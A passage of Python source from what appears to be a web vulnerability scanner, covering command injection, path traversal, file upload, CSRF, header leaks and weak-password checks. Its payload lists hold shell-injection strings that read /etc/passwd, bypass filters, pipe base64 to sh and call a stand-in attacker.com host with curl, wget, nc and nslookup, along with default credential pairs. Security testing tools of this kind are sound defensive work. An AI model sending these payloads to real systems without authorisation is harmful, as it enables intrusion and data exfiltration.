                # 为每个可能的文件生成备份文件名
                for pattern in info_leak_config['backup_patterns']:
                    potential_filenames.append(f"{name_without_ext}{pattern}.{extension}")
                    potential_filenames.append(f"{name_without_ext}.{extension}{pattern}")
        
        # 添加一些常见的备份文件
        potential_filenames.extend([
            'index.php.bak', 'index.html.bak', 'default.aspx.bak',
            'home.php.old', 'index.jsp~', 'main.py.save'
        ])
        
        return potential_filenames
    
    # 1. 使用现有的敏感文件检查工具
    logger.info(f"开始信息泄露扫描: {normalized_url}")
    
    # 2. 并发检查各类敏感文件
    all_files_to_check = []
    
    # 添加所有分类的文件
    for category, config in info_leak_config['file_categories'].items():
        for file_path in config['files']:
            all_files_to_check.append((file_path, category, config['score']))
    
    # 添加猜测的备份文件
    backup_files = guess_backup_files(normalized_url)
    for backup_file in backup_files:
        all_files_to_check.append((backup_file, 'high_risk', 0.8))
    
    # 并发检查文件
    with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor:
        future_to_file = {
            executor.submit(check_file_concurrently, normalized_url, file_path, category, score): 
            (file_path, category) 
            for file_path, category, score in all_files_to_check[:200]  # 限制检查的文件数量
        }
        
        for future in concurrent.futures.as_completed(future_to_file):
            result = future.result()
            if result:
                vulnerabilities.append(result)
    
    # 3. 检查目录列表
    with concurrent.futures.ThreadPoolExecutor(max_workers=15) as executor:
        future_to_dir = {
            executor.submit(check_directory_listing, normalized_url, dir_path): dir_path
            for dir_path in info_leak_config['directory_listing_paths']
        }
        
        for future in concurrent.futures.as_completed(future_to_dir):
            result = future.result()
            if result:
                vulnerabilities.append(result)
    
    # 4. 检查HTTP响应头中的信息泄露
    try:
        response = make_request(normalized_url, timeout=5)
        if response:
            # 检查服务器信息泄露
            headers_to_check = {
                'Server': '服务器版本信息泄露',
                'X-Powered-By': '技术栈信息泄露',
                'X-AspNet-Version': 'ASP.NET版本信息泄露',
                'X-AspNetMvc-Version': 'ASP.NET MVC版本信息泄露',
                'X-PHP-Version': 'PHP版本信息泄露',
                'X-Generator': '生成器信息泄露',
                'X-Drupal-Cache': 'Drupal信息泄露',
                'X-Jenkins': 'Jenkins信息泄露',
                'X-Api-Version': 'API版本信息泄露'
            }
            
            for header, description in headers_to_check.items():
                if header in response.headers:
                    header_value = response.headers[header]
                    vuln = {
                        'vuln_id': generate_vulnerability_id('info_leak'),
                        'vuln_type': 'header_info_leak',
                        'path': normalized_url,
                        'category': 'low_risk',
                        'header': header,
                        'header_value': header_value,
                        'evidence': f"HTTP响应头信息泄露: {header}: {header_value}",
                        'raw_score': 0.4
                    }
                    vulnerabilities.append(vuln)
                    logger.info(f"发现HTTP头信息泄露: {header}: {header_value}")
    except Exception as e:
        logger.debug(f"检查HTTP头信息泄露失败: {str(e)}")
    
    # 5. 检查robots.txt中的敏感路径
    try:
        robots_url = f"{normalized_url.rstrip('/')}/robots.txt"
        response = make_request(robots_url, timeout=5)
        if response and response.status_code == 200:
            # 解析robots.txt寻找敏感路径
            sensitive_paths = []
            for line in response.text.split('\n'):
                line = line.strip()
                if line.startswith('Disallow:'):
                    path = line.split(':', 1)[1].strip()
                    if path and not path == '/' and not path.startswith('*'):
                        # 检查是否包含敏感关键词
                        if any(keyword in path.lower() for keyword in ['admin', 'login', 'private', 'restricted', 'test', 'dev', 'backup']):
                            sensitive_paths.append(path)
            
            if sensitive_paths:
                vuln = {
                    'vuln_id': generate_vulnerability_id('info_leak'),
                    'vuln_type': 'robots_info_leak',
                    'path': robots_url,
                    'category': 'medium_risk',
                    'sensitive_paths': sensitive_paths,
                    'evidence': f"robots.txt暴露敏感路径: {', '.join(sensitive_paths[:3])}{'...' if len(sensitive_paths) > 3 else ''}",
                    'raw_score': 0.5
                }
                vulnerabilities.append(vuln)
                logger.info(f"发现robots.txt信息泄露，包含 {len(sensitive_paths)} 个敏感路径")
    except Exception as e:
        logger.debug(f"检查robots.txt失败: {str(e)}")
    
    logger.info(f"信息泄露扫描完成，发现 {len(vulnerabilities)} 个潜在问题")
    return vulnerabilities

def scan_command_injection(target_url, scan_depth):
    """执行命令注入漏洞扫描 - 增强版"""
    import urllib.parse
    import time
    import re
    from app.utils.http_utils import make_request, extract_links, normalize_url
    from app.utils.security_tools import generate_vulnerability_id, extract_form_data
    
    vulnerabilities = []
    scanned_urls = set()
    urls_to_scan = [normalize_url(target_url)]
    
    # 增强版命令注入测试载荷库 - 按操作系统和技术分类
    cmd_payloads = {
        'linux': [
            "|| ls -la ||",
            "; ls -la;",
            "| ls -la |",
            "&& ls -la &&",
            "& ls -la &",
            "`ls -la`",
            "$(ls -la)",
            "| cat /etc/passwd |",
            "&& cat /etc/hostname &&",
            "| uname -a |",
            "|| id ||",
            "; whoami;",
            "| env |",
            "|| echo 'COMMAND_EXECUTED' ||"
        ],
        'windows': [
            "|| dir ||",
            "; dir;",
            "| dir |",
            "&& dir &&",
            "& dir &",
            "| type C:\\Windows\\win.ini |",
            "&& echo %USERNAME% &&",
            "|| ver ||",
            "; systeminfo;",
            "|| echo COMMAND_EXECUTED ||"
        ],
        'time_based': [
            "|| sleep 5 ||",
            "; sleep 5;",
            "| sleep 5 |",
            "&& sleep 5 &&",
            "|| ping -c 5 127.0.0.1 ||",
            "; ping -n 5 127.0.0.1;",  # Windows ping
            "| timeout /t 5 |"  # Windows timeout
        ],
        'bypasses': [
            "|| l''s -la ||",  # 引号绕过
            "; l\\s -la;",  # 反斜杠绕过
            "| l${IFS}s -la |",  # IFS绕过
            "&& l`echo s` -la &&",  # 命令替换绕过
            "& \$(echo 'ls -la') &",  # 嵌套命令替换
            "|| cat${IFS}/etc/passwd ||",  # 无空格绕过
            "| {cat,/etc/passwd} |",  # 逗号绕过
            "&& cat</etc/passwd &&",  # 文件重定向绕过
            "|| echo 'YmFzZTY0IGVuY29kZWQ=' | base64 -d | sh ||"  # Base64编码绕过
        ],
        'out_of_band': [
            "|| curl http://attacker.com/x ||",
            "; wget attacker.com/x;",
            "| nc attacker.com 4444 |",
            "&& nslookup $(whoami).attacker.com &&"
        ]
    }
    
    # 命令执行指示器 - 更全面的列表
    cmd_indicators = {
        'linux': [
            'bin/', 'etc/', 'usr/', 'home/', 'root/', 'var/', 'proc/',
            'bash:', 'sh:', 'uid=', 'gid=', 'groups=', 'linux', 'ubuntu', 'debian',
            'centos', 'redhat', 'fedora', 'release', 'version', 'hostname',
            'command executed', 'command_executed'
        ],
        'windows': [
            'windows', 'system32', 'program files', 'users', 'appdata',
            'microsoft', 'windows nt', 'copyright', 'cmd.exe', 'powershell',
            'command executed', 'command_executed'
        ],
        'general': [
            'error:', 'exception', 'permission denied', 'no such file',
            'command not found', 'syntax error', 'unexpected end',
            'segmentation fault', 'command executed', 'command_executed'
        ]
    }
    
    def rate_parameter_importance(param_name, param_value):
        """评估参数重要性，高重要性参数优先测试"""
        score = 0
        
        # 名称中包含敏感词，暗示可能用于文件操作或系统命令
        sensitive_names = ['file', 'path', 'dir', 'cmd', 'command', 'exec', 'system', 'shell',
                          'proc', 'process', 'run', 'execute', 'arg', 'argument', 'input', 'output']
        for word in sensitive_names:
            if word in param_name.lower():
                score += 0.4
                break
        
        # 数值型参数可能控制执行流程
        if param_value.isdigit():
            score += 0.1
        
        # 看起来像路径的参数值
        if any(sep in param_value for sep in ['/', '\\', '.', '..']):
            score += 0.3
        
        # 空参数可能更容易受到注入
        if param_value == '':
            score += 0.1
        
        return min(1.0, score)
    
    def detect_os_from_headers(headers):
        """尝试从响应头检测操作系统"""
        server_header = headers.get('Server', '').lower()
        if any(os_name in server_header for os_name in ['linux', 'ubuntu', 'debian', 'centos', 'apache']):
            return 'linux'
        elif any(os_name in server_header for os_name in ['windows', 'iis', 'microsoft']):
            return 'windows'
        return None
    
    def detect_command_execution(response_text):
        """检测命令执行的迹象"""
        indicators = []
        confidence = 0.0
        
        # 检查各种命令执行指示器
        for os_type, os_indicators in cmd_indicators.items():
            for indicator in os_indicators:
                if indicator.lower() in response_text.lower():
                    indicators.append(indicator)
                    # 根据指示器类型给予不同的置信度
                    if os_type == 'linux' or os_type == 'windows':
                        confidence += 0.2
                    else:
                        confidence += 0.1
        
        # 检查文件列表特征（多个连续的文件名和权限）
        file_list_pattern = re.compile(r'[-d]rwxr[-wx]{2}\s+\d+\s+\w+\s+\w+\s+\d+\s+\w+\s+\d+\s+\d{1,2}:\d{2}\s+\S+')
        file_matches = file_list_pattern.findall(response_text)
        if len(file_matches) > 3:  # 找到多个文件项
            confidence += 0.3
            indicators.append(f"检测到疑似文件列表输出 ({len(file_matches)} 个项目)")
        
        # 检查特定文件内容（如/etc/passwd部分）
        passwd_pattern = re.compile(r'\w+:[x*]:\d+:\d+:[^:]*:/[^:]*:/[^:]*')
        if passwd_pattern.search(response_text):
            confidence += 0.4
            indicators.append("检测到疑似/etc/passwd内容")
        
        return {
            'detected': confidence > 0.5,  # 置信度超过0.5判定为检测到
            'confidence': min(1.0, confidence),
            'indicators': indicators
        }
    
    def detect_time_based_injection(base_time, response_time, payload):
        """检测基于时间的命令注入"""
        # 如果响应时间比基线长3秒以上，可能是时间延迟命令执行了
        if response_time > base_time + 3:
            # 对于明确的sleep或ping命令，置信度更高
            if any(cmd in payload for cmd in ['sleep', 'ping', 'timeout']):
                return {
                    'detected': True,
                    'confidence': 0.8,
                    'evidence': f"响应时间明显延长: 基线 {base_time:.2f}s, 测试 {response_time:.2f}s"
                }
            return {
                'detected': True,
                'confidence': 0.6,
                'evidence': f"响应时间延长: 基线 {base_time:.2f}s, 测试 {response_time:.2f}s"
            }
        return {'detected': False, 'confidence': 0.0, 'evidence': None}
    
    # 优化的URL参数处理函数
    def process_url_params(url):
        if '?' not in url:
            return []
        
        parsed = urllib.parse.urlparse(url)
        params = urllib.parse.parse_qs(parsed.query)
        return [(k, v[0] if v else '') for k, v in params.items()]
    
    # 扫描指定深度的链接
    for depth in range(scan_depth):
        if not urls_to_scan:
            break
        
        next_depth_urls = []
        
        # 对当前深度的URL进行批量处理
        while urls_to_scan:
            current_url = urls_to_scan.pop(0)
            if current_url in scanned_urls:
                continue
            
            scanned_urls.add(current_url)
            logger.debug(f"命令注入扫描 (深度{depth+1}): {current_url}")
            
            # 首先获取页面原始响应，用于基线比较和操作系统检测
            start_time = time.time()
            baseline_response = make_request(current_url, timeout=10)
            baseline_time = time.time() - start_time
            detected_os = detect_os_from_headers(baseline_response.headers) if baseline_response else None
            
            # 检查URL参数
            params = process_url_params(current_url)
            if params:
                parsed = urllib.parse.urlparse(current_url)
                
                # 对参数按重要性排序
                param_scores = [(name, value, rate_parameter_importance(name, value)) for name, value in params]
                param_scores.sort(key=lambda x: x[2], reverse=True)
                
                # 根据检测到的操作系统优化载荷
                test_payloads = []
                if detected_os == 'linux':
                    test_payloads.extend(cmd_payloads['linux'])
                elif detected_os == 'windows':
                    test_payloads.extend(cmd_payloads['windows'])
                else:
                    # 如果无法检测操作系统，使用跨平台载荷
                    test_payloads.extend(cmd_payloads['linux'][:3])  # 使用基本的Linux命令
                    test_payloads.extend(cmd_payloads['windows'][:3])  # 使用基本的Windows命令
                
                # 总是添加时间延迟和绕过载荷
                test_payloads.extend(cmd_payloads['time_based'])
                test_payloads.extend(cmd_payloads['bypasses'])
                
                # 只测试重要性较高的参数
                important_params = [p for p in param_scores if p[2] >= 0.7]
                if not important_params:
                    important_params = param_scores[:3]  # 如果没有高重要性参数，至少测试前3个
                
                for param_name, original_value, _ in important_params:
                    for payload in test_payloads:
                        # 构建测试URL - 替换当前参数值
                        test_params = urllib.parse.parse_qs(parsed.query)
                        test_params[param_name] = [payload]
                        test_query = urllib.parse.urlencode(test_params, doseq=True)
                        test_url = parsed._replace(query=test_query).geturl()
                        
                        # 发送请求，测量响应时间
                        start_time = time.time()
                        response = make_request(test_url, timeout=20)  # 命令注入可能需要更长时间
                        response_time = time.time() - start_time
                        
                        if response:
                            # 检查基于响应内容的命令执行
                            content_detection = detect_command_execution(response.text)
                            
                            # 检查基于时间的命令执行
                            time_detection = detect_time_based_injection(baseline_time, response_time, payload)
                            
                            # 如果任一检测方法显示漏洞
                            if content_detection['detected'] or time_detection['detected']:
                                # 使用置信度更高的结果
                                if content_detection['confidence'] > time_detection['confidence']:
                                    vuln = {
                                        'vuln_id': generate_vulnerability_id('command_injection'),
                                        'vuln_type': 'command_injection',
                                        'path': current_url,
                                        'parameter': param_name,
                                        'payload': payload,
                                        'evidence': ', '.join(content_detection['indicators']),
                                        'raw_score': content_detection['confidence'],
                                        'detection_method': 'content_based'
                                    }
                                else:
                                    vuln = {
                                        'vuln_id': generate_vulnerability_id('command_injection'),
                                        'vuln_type': 'command_injection',
                                        'path': current_url,
                                        'parameter': param_name,
                                        'payload': payload,
                                        'evidence': time_detection['evidence'],
                                        'raw_score': time_detection['confidence'],
                                        'detection_method': 'time_based'
                                    }
                                
                                vulnerabilities.append(vuln)
                                logger.info(f"发现命令注入漏洞: {current_url}, 参数: {param_name}, 载荷: {payload}")
                                break  # 找到漏洞后继续下一个参数
            
            # 提取页面中的表单并测试命令注入
            if baseline_response and baseline_response.status_code == 200:
                forms = extract_form_data(baseline_response.text)
                for form in forms:
                    if form['action'] and form['method'].upper() in ['POST', 'GET']:
                        action_url = form['action']
                        # 如果action是相对路径，转换为绝对路径
                        if not action_url.startswith(('http://', 'https://')):
                            base_domain = urllib.parse.urlparse(current_url).scheme + '://' + urllib.parse.urlparse(current_url).netloc
                            action_url = base_domain + ('' if action_url.startswith('/') else '/') + action_url
                        
                        # 对每个输入字段测试命令注入载荷
                        for input_field in form['inputs']:
                            if input_field['type'] not in ['hidden', 'submit', 'button']:
                                # 检查字段名是否暗示可能存在命令注入风险
                                if any(risky_name in input_field['name'].lower() for risky_name in 
                                      ['file', 'path', 'cmd', 'exec', 'system', 'shell', 'run']):
                                    logger.debug(f"在表单中检测到可能的命令注入点: {input_field['name']}")
                                    # 记录潜在的命令注入点
                                    vuln = {
                                        'vuln_id': generate_vulnerability_id('command_injection'),
                                        'vuln_type': 'command_injection',
                                        'subtype': 'potential_form_based',
                                        'path': current_url,
                                        'form_action': action_url,
                                        'input_field': input_field['name'],
                                        'evidence': f"表单字段名称暗示可能存在命令注入风险",
                                        'raw_score': 0.4
                                    }
                                    vulnerabilities.append(vuln)
            
            # 提取链接用于下一层深度扫描
            if baseline_response and baseline_response.status_code == 200:
                links = extract_links(baseline_response.text, current_url)
                # 优先扫描可能存在命令注入的链接
                risky_links = [link for link in links if any(term in link.lower() for term in 
                                                           ['file', 'path', 'download', 'exec', 'run', 'cmd', 'command'])]
                other_links = [link for link in links if link not in risky_links]
                
                # 混合添加链接，确保可能存在风险的链接优先扫描
                all_new_links = []
                min_len = min(len(risky_links), len(other_links))
                
                for i in range(min_len):
                    if risky_links[i] not in scanned_urls and risky_links[i] not in next_depth_urls:
                        all_new_links.append(risky_links[i])
                    if other_links[i] not in scanned_urls and other_links[i] not in next_depth_urls:
                        all_new_links.append(other_links[i])
                
                # 添加剩余链接
                all_new_links.extend([link for link in risky_links[min_len:] if link not in scanned_urls and link not in next_depth_urls])
                all_new_links.extend([link for link in other_links[min_len:] if link not in scanned_urls and link not in next_depth_urls])
                
                # 限制每个页面添加的链接数量
                next_depth_urls.extend(all_new_links[:20])
        
        # 更新下一轮要扫描的URL
        urls_to_scan = next_depth_urls[:50 * scan_depth]  # 限制每轮扫描的URL数量
    
    return vulnerabilities

def scan_csrf(target_url, scan_depth):
    """执行CSRF漏洞扫描"""
    from app.utils.http_utils import make_request, extract_links
    from app.utils.security_tools import extract_form_data, generate_vulnerability_id
    
    vulnerabilities = []
    scanned_urls = set()
    urls_to_scan = [target_url]
    
    # 扫描指定深度的链接
    for _ in range(scan_depth):
        if not urls_to_scan:
            break
        
        current_url = urls_to_scan.pop(0)
        if current_url in scanned_urls:
            continue
        
        scanned_urls.add(current_url)
        logger.debug(f"CSRF扫描: {current_url}")
        
        # 获取页面内容
        response = make_request(current_url)
        if response and response.status_code == 200:
            # 提取页面中的链接，用于深度扫描
            if len(scanned_urls) + len(urls_to_scan) < 50 * scan_depth:  # 限制扫描数量
                links = extract_links(response.text, current_url)
                for link in links:
                    if link not in scanned_urls and link not in urls_to_scan:
                        urls_to_scan.append(link)
            
            # 提取页面中的表单并检查CSRF保护
            forms = extract_form_data(response.text)
            for form in forms:
                # 检查表单是否使用POST方法（通常CSRF针对状态修改操作）
                if form['method'] == 'POST':
                    # 检查表单是否包含CSRF令牌字段
                    has_csrf_token = False
                    for input_field in form['inputs']:
                        # 常见的CSRF令牌字段名
                        csrf_token_names = ['csrf', 'token', '_token', 'csrf_token', 'authenticity_token']
                        if any(token in input_field['name'].lower() for token in csrf_token_names):
                            has_csrf_token = True
                            break
                    
                    # 如果表单没有CSRF保护，报告漏洞
                    if not has_csrf_token:
                        vuln = {
                            'vuln_id': generate_vulnerability_id('csrf'),
                            'vuln_type': 'csrf',
                            'path': current_url,
                            'payload': '',
                            'evidence': f"表单缺少CSRF保护",
                            'raw_score': 0.5
                        }
                        vulnerabilities.append(vuln)
                        logger.info(f"发现CSRF漏洞: {current_url}")
    
    return vulnerabilities

def scan_security_headers(target_url):
    """检查HTTP安全响应头"""
    from app.utils.http_utils import make_request
    from app.utils.security_tools import analyze_response_headers, generate_vulnerability_id
    
    vulnerabilities = []
    
    # 发送请求获取响应头
    response = make_request(target_url)
    if response:
        # 分析响应头中的安全问题
        security_issues = analyze_response_headers(response.headers)
        
        for issue in security_issues:
            vuln = {
                'vuln_id': generate_vulnerability_id('security_header'),
                'vuln_type': 'security_header',
                'path': target_url,
                'payload': '',
                'evidence': issue,
                'raw_score': 0.3  # 安全头问题通常风险较低
            }
            vulnerabilities.append(vuln)
    
    return vulnerabilities

def save_vulnerabilities(scan_id, vulnerabilities):
    """保存漏洞信息到数据库（兼容旧版本的函数）"""
    for vuln_data in vulnerabilities:
        save_vulnerability(scan_id, vuln_data)
    
    logger.info(f"已保存 {len(vulnerabilities)} 个漏洞信息")

def get_scan_results(scan_id):
    """获取扫描结果"""
    vulnerabilities = Vulnerability.query.filter_by(scan_id=scan_id).all()
    return [v.to_dict() for v in vulnerabilities]

def get_scan_summary(scan_id):
    """获取扫描摘要信息"""
    vulnerabilities = Vulnerability.query.filter_by(scan_id=scan_id).all()
    
    # 计算不同严重程度的漏洞数量
    summary = {
        'total': len(vulnerabilities),
        'high': len([v for v in vulnerabilities if v.severity == 'high']),
        'medium': len([v for v in vulnerabilities if v.severity == 'medium']),
        'low': len([v for v in vulnerabilities if v.severity == 'low']),
        'types': {}
    }
    
    # 按类型统计漏洞数量
    for vuln in vulnerabilities:
        if vuln.vuln_type not in summary['types']:
            summary['types'][vuln.vuln_type] = 0
        summary['types'][vuln.vuln_type] += 1
    
    return summary

def save_report_to_file(scan_id, report):
    """将扫描报告保存到JSON文件"""
    try:
        # 生成文件名
        timestamp = datetime.utcnow().strftime("%Y%m%d%H%M%S")
        filename = f"scan_report_{scan_id}_{timestamp}.json"
        
        # 保存到文件
        with open(filename, 'w', encoding='utf-8') as f:
            json.dump(report, f, ensure_ascii=False, indent=2)
        
        logger.info(f"报告已保存到: {filename}")
        return filename
    except Exception as e:
        logger.error(f"保存报告失败: {str(e)}")
        return None


def load_demo_data(target):
    """从演示数据文件加载模拟漏洞数据"""
    try:
        # 构建演示数据文件路径
        demo_data_path = os.path.join(
            os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))),
            'examples',
            'demo_data.json'
        )
        
        # 读取演示数据文件
        with open(demo_data_path, 'r', encoding='utf-8') as f:
            demo_data = json.load(f)
        
        # 根据目标查找对应的扫描结果
        for scan_result in demo_data['scan_results']:
            if scan_result['target'] == target:
                return scan_result
        
        # 如果没有找到完全匹配的目标，返回第一个结果
        if demo_data['scan_results']:
            return demo_data['scan_results'][0]
        
        return None
        
    except Exception as e:
        logger.error(f"Failed to load demo data: {str(e)}")
        return None


def create_mock_scan(target):
    """创建模拟扫描任务"""
    try:
        # 加载演示数据
        demo_data = load_demo_data(target)
        
        # 始终生成新的扫描ID避免冲突
        scan_id = f"SCAN-{datetime.now().year}-{str(uuid.uuid4())[:8]}"
        
        if not demo_data:
            # 如果没有演示数据，生成一个简单的模拟扫描
            # 创建扫描记录
            scan = Scan(
                id=scan_id,
                target=target,
                status='completed',
                scan_depth=1,  # 添加scan_depth参数
                created_at=datetime.utcnow(),
                finished_at=datetime.utcnow()
            )
            db.session.add(scan)
            db.session.commit()
            
            # 生成一些简单的模拟漏洞
            vulnerabilities = []
            vuln_types = ['sql_injection', 'xss', 'info_leak']
            paths = ['/login', '/search', '/profile']
            
            for i in range(3):
                vuln = Vulnerability(
                    scan_id=scan_id,
                    vuln_id=f"VULN-{datetime.now().year}-{str(uuid.uuid4())[:8]}",
                    vuln_type=vuln_types[i % len(vuln_types)],
                    path=paths[i % len(paths)],
                    payload="test_payload",
                    evidence="test_evidence",
                    raw_score=0.5 + i * 0.1,
                    risk_score=0.6 + i * 0.1,
                    severity="high" if i == 0 else "medium" if i == 1 else "low",
                    suggestion="这是一个模拟的修复建议。在实际应用中，系统会根据漏洞类型和上下文提供详细的修复方案。"
                )
                db.session.add(vuln)
            
            db.session.commit()
            
            # 返回扫描结果
            return {
                'scan_id': scan_id,
                'target': target,
                'vulnerabilities': get_scan_results(scan_id),
                'risk_stats': get_scan_summary(scan_id)
            }
        
        # 使用演示数据创建扫描记录
        # 创建扫描记录
        scan = Scan(
            id=scan_id,
            target=demo_data['target'],
            status='completed',
            scan_depth=1,  # 添加scan_depth参数
            created_at=datetime.fromisoformat(demo_data['created_at'].replace('Z', '+00:00')),
            finished_at=datetime.fromisoformat(demo_data['finished_at'].replace('Z', '+00:00'))
        )
        db.session.add(scan)
        db.session.commit()
        
        # 创建漏洞记录
        for vuln_data in demo_data['vulnerabilities']:
            # 使用新的漏洞ID以避免冲突
            new_vuln_id = f"VULN-{datetime.now().year}-{str(uuid.uuid4())[:8]}"
            
            vulnerability = Vulnerability(
                scan_id=scan_id,
                vuln_id=new_vuln_id,
                vuln_type=vuln_data['vuln_type'],
                path=vuln_data['path'],
                payload=vuln_data.get('payload'),
                evidence=vuln_data.get('evidence'),
                raw_score=vuln_data.get('raw_score'),
                risk_score=vuln_data.get('risk_score'),
                severity=vuln_data.get('severity'),
                suggestion=vuln_data.get('suggestion'),
                created_at=datetime.fromisoformat(vuln_data['created_at'].replace('Z', '+00:00'))
            )
            db.session.add(vulnerability)
        
        db.session.commit()
        
        # 返回扫描结果
        return {
            'scan_id': scan_id,
            'target': demo_data['target'],
            'vulnerabilities': get_scan_results(scan_id),
            'risk_stats': get_scan_summary(scan_id)
        }
        
    except Exception as e:
        logger.error(f"Error creating mock scan: {str(e)}")
        raise

# 路径遍历漏洞扫描
def scan_path_traversal(target_url, scan_depth):
    """扫描路径遍历漏洞"""
    vulnerabilities = []
    logger.info(f"开始路径遍历漏洞扫描: {target_url}")
    
    # 路径遍历测试负载
    payloads = [
        '../', '../../', '../../../',
        '..\\', '..\\..\\', '..\\..\\..\\',
        '%2e%2e%2f', '%2e%2e%5c',
        '..%252f', '..%255c',
        '....//', '....\\\\'
    ]
    
    # 敏感文件路径
    sensitive_files = [
        'etc/passwd', 'windows/win.ini', 'boot.ini',
        '..\..\windows\win.ini', '..\..\..\windows\win.ini'
    ]
    
    # 测试URL参数
    test_params = ['file', 'path', 'page', 'dir', 'document']
    
    try:
        # 提取页面表单和链接
        response = make_request(target_url)
        if response:
            forms = extract_form_data(response.text)
            links = extract_links(target_url, response.text)
            
            # 测试链接中的参数
            for link in links[:50]:  # 限制测试数量
                for param in test_params:
                    if param in link:
                        for payload in payloads[:3]:  # 使用部分payload进行快速测试
                            test_url = link.replace(f'{param}=', f'{param}={payload}')
                            test_response = make_request(test_url, timeout=5)
                            if test_response and test_response.status_code == 200:
                                # 检查响应中是否包含敏感信息
                                if any(sensitive in test_response.text.lower() for sensitive in ['root:', '[fonts]', '[extensions]']):
                                    vuln = {
                                        'vuln_id': generate_vulnerability_id('path_traversal'),
                                        'vuln_type': 'path_traversal',
                                        'path': test_url,
                                        'payload': payload,
                                        'evidence': '检测到可能的路径遍历漏洞',
                                        'raw_score': 0.85,
                                        'severity': 'high'
                                    }
                                    vulnerabilities.append(vuln)
                                    break
            
            # 测试表单
            for form in forms:
                if form.get('method') == 'GET':
                    for param in form.get('inputs', []):
                        for payload in payloads[:3]:
                            # 构建测试表单数据
                            test_data = {input_field['name']: payload if input_field['name'] == param['name'] else 'test' 
                                        for input_field in form.get('inputs', []) if 'name' in input_field}
                            
                            # 构建查询字符串
                            query_str = '&'.join([f'{k}={v}' for k, v in test_data.items()])
                            test_url = f"{form['action']}?{query_str}"
                            
                            test_response = make_request(test_url, timeout=5)
                            if test_response and test_response.status_code == 200:
                                if any(sensitive in test_response.text.lower() for sensitive in ['root:', '[fonts]', '[extensions]']):
                                    vuln = {
                                        'vuln_id': generate_vulnerability_id('path_traversal'),
                                        'vuln_type': 'path_traversal',
                                        'path': test_url,
                                        'payload': payload,
                                        'evidence': '检测到可能的路径遍历漏洞',
                                        'raw_score': 0.85,
                                        'severity': 'high'
                                    }
                                    vulnerabilities.append(vuln)
                                    break
    
    except Exception as e:
        logger.error(f"路径遍历扫描错误: {str(e)}")
    
    # 为每个漏洞生成修复建议
    for vuln in vulnerabilities:
        vuln['suggestion'] = generate_suggestion(vuln['vuln_type'])
    
    logger.info(f"路径遍历扫描完成，发现{len(vulnerabilities)}个漏洞")
    return vulnerabilities

# 文件上传漏洞扫描
def scan_file_upload(target_url, scan_depth):
    """扫描不安全的文件上传漏洞"""
    vulnerabilities = []
    logger.info(f"开始文件上传漏洞扫描: {target_url}")
    
    try:
        response = make_request(target_url)
        if response:
            forms = extract_form_data(response.text)
            
            # 查找文件上传表单
            for form in forms:
                has_file_input = any(input_field.get('type') == 'file' for input_field in form.get('inputs', []))
                if has_file_input:
                    form_action = form.get('action', target_url)
                    form_method = form.get('method', 'POST').upper()
                    
                    # 测试绕过文件类型限制
                    test_files = [
                        ('test.php', '<?php phpinfo(); ?>', 'application/x-php'),
                        ('test.php.txt', '<?php phpinfo(); ?>', 'text/plain'),
                        ('test.jpg.php', '<?php phpinfo(); ?>', 'image/jpeg'),
                        ('test.asp;.jpg', '<% response.write("Vulnerable") %>', 'image/jpeg'),
                        ('test.jsp', '<% out.println("Vulnerable"); %>', 'application/x-jsp')
                    ]
                    
                    for filename, content, content_type in test_files[:3]:  # 限制测试数量
                        files = {'file': (filename, content, content_type)}
                        data = {input_field['name']: 'test' 
                                for input_field in form.get('inputs', []) 
                                if 'name' in input_field and input_field.get('type') != 'file'}
                        
                        try:
                            if form_method == 'POST':
                                test_response = make_request(form_action, method='POST', files=files, data=data, timeout=10)
                            else:
                                # GET请求不支持文件上传
                                continue
                            
                            if test_response:
                                # 检查响应
                                if test_response.status_code == 200 and \
                                   ('upload successful' in test_response.text.lower() or \
                                    'file uploaded' in test_response.text.lower()):
                                    vuln = {
                                        'vuln_id': generate_vulnerability_id('file_upload'),
                                        'vuln_type': 'file_upload',
                                        'path': form_action,
                                        'payload': filename,
                                        'evidence': '检测到可能的不安全文件上传漏洞',
                                        'raw_score': 0.9,
                                        'severity': 'high'
                                    }
                                    vulnerabilities.append(vuln)
                        except Exception as e:
                            logger.debug(f"文件上传测试错误: {str(e)}")
    
    except Exception as e:
        logger.error(f"文件上传扫描错误: {str(e)}")
    
    # 为每个漏洞生成修复建议
    for vuln in vulnerabilities:
        vuln['suggestion'] = generate_suggestion(vuln['vuln_type'])
    
    logger.info(f"文件上传扫描完成，发现{len(vulnerabilities)}个漏洞")
    return vulnerabilities

# 弱密码检测
def scan_weak_password(target_url, scan_depth):
    """检测常见弱密码和认证绕过"""
    vulnerabilities = []
    logger.info(f"开始弱密码检测: {target_url}")
    
    # 常见的登录路径
    login_paths = ['/login', '/admin', '/signin', '/auth/login', '/user/login']
    
    # 常见的弱密码组合
    creds = [
        ('admin', 'admin'),
        ('admin', 'password'),
        ('root', 'root'),
        ('root', 'toor'),
        ('test', 'test')
    ]
    
    try:
        # 检查常见的登录页面
        for path in login_paths:
            test_url = normalize_url(target_url.rstrip('/') + path)
            response = make_request(test_url, timeout=5)
            
            if response and response.status_code == 200:
                forms = extract_form_data(response.text)
                
                for form in forms:
                    # 查找登录表单（通常包含username/email和password字段）
                    has_username = any(input_field.get('name') in ['username', 'email', 'user', 'login'] 
                                     for input_field in form.get('inputs', []))
                    has_password = any(input_field.get('name') in ['password', 'pass', 'pwd'] 
                                     for input_field in form.get('inputs', []))
                    
                    if has_username and has_password:
                        form_action = form.get('action', test_url)
                        form_method = form.get('method', 'POST').upper()
                        
                        # 尝试弱密码
                        for username, password in creds[:3]:  # 限制测试数量
                            # 构建表单数据
                            data = {}
                            for input_field in form.get('inputs', []):
                                if 'name' in input_field:
                                    if input_field.get('name') in ['username', 'email', 'user', 'login']:
                                        data[input_field['name']] = username
                                    elif input_field.get('name') in ['password', 'pass', 'pwd']:
                                        data[input_field['name']] = password
                                    elif input_field.get('type') == 'hidden':
                                        data[input_field['name']] = input_field.get('value', '')
                                    else:
                                        data[input_field['name']] = ''
                            
                            try:
                                if form_method == 'POST':
                                    test_response = make_request(form_action, method='POST', data=data, timeout=10, allow_redirects=True)
                                else:
                                    test_response = make_request(f"{form_action}?{ '&'.join([f'{k}={v}' for k, v in data.items()]) }", 
                                                              method='GET', timeout=10, allow_redirects=True)
                                
                                # 检查是否登录成功（通常重定向或包含欢迎信息）
                                if test_response and (
                                    len(test_response.history) > 0 or 
                                    'welcome' in test_response.text.lower() or 
                                    'dashboard' in test_response.text.lower() or 
                                    'logout' in test_response.text.lower() or
                                    'admin' in test_response.text.lower() and 'panel' in test_response.text.lower()
                                ):
                                    vuln = {
